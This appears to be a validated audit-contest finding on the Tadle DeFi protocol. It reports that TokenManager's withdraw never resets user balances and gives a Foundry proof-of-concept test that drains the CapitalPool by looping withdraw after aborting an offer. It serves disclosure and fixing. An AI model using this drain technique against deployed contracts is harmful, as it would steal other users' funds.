Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

TokenManager - Unlimited withdraw

Hrom131

Summary

Due to the fact that the withdraw function from the TokenManager contract does not reset users' balances after withdrawals, users can repeat withdrawals from the contract an unlimited number of times, thus stealing funds from other users.

Vulnerability Details

In the withdraw function of the TokenManager contract, it is possible to unlimitedly withdraw tokens from the CapitalPool contract.

The withdraw function allows any user to withdraw tokens they have earned on their balance, but the user's balance is not updated anywhere after the withdrawal.

The code for getting the user's balance:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];

As an example, let's consider the simplest scenario of an attack on a system that will exploit the found vulnerability:

  1. First, the user needs to make it so that they have some sort of balance within the TokenManager contract.

    1. To do this, it is enough to create an offer using the createOffer function of the PreMarkets contract. During creation, the user will send some tokens as a collateral.

    2. Then it is necessary to abort the offer immediately using the abortAskOffer function of the PreMarkets contract. This abort will add a refund amount to the user's balance in the TokenManager contract.

  2. Send a huge number of transactions, within which there will be a call to the TokenManager contract withdraw function. The number of transactions will depend on how many tokens are inside the CapitalPool contract.

This is the simplest attack option, but it is possible to create a special contract on whose behalf to interact with the protocol. Then the attack can be accomplished in a single transaction, which will be much more efficient.

Test code that demonstrates the vulnerability described above

To run the test, its code without changes should be placed in the PreMarkets.t.sol file.

function test_unlimited_withdraw() public {
vm.startPrank(user);
​
capitalPool.approve(address(mockUSDCToken));
​
uint256 userPaidAmount = 12000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
10000,
10000 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
​
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), userPaidAmount);
​
vm.startPrank(user2);
​
uint256 user2PaidAmount = 120 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
10000,
100 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), userPaidAmount + user2PaidAmount);
​
address user2OfferAddr = GenerateAddress.generateOfferAddress(1);
address user2StockAddr = GenerateAddress.generateStockAddress(1);
​
preMarktes.abortAskOffer(user2StockAddr, user2OfferAddr);
​
assertEq(tokenManager.userTokenBalanceMap(user2, address(mockUSDCToken), TokenBalanceType.MakerRefund), user2PaidAmount);
​
uint256 user2BalanceBefore = mockUSDCToken.balanceOf(user2);
​
for (uint256 i = 0; i < 101; i++) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
}
​
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);
assertEq(mockUSDCToken.balanceOf(user2) - user2BalanceBefore, userPaidAmount + user2PaidAmount);
​
vm.stopPrank();
}

Impact

It is possible to withdraw absolutely all funds from CapitalPool contract, so this bug is critical.

Tools Used

The bug was found by manually auditing the contract code. To validate the vulnerability and demonstrate it, a unit test was written.

Recommendations

Update value in userTokenBalanceMap inside withdraw function.

Updates

Lead Judging Commences

0xnevi Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.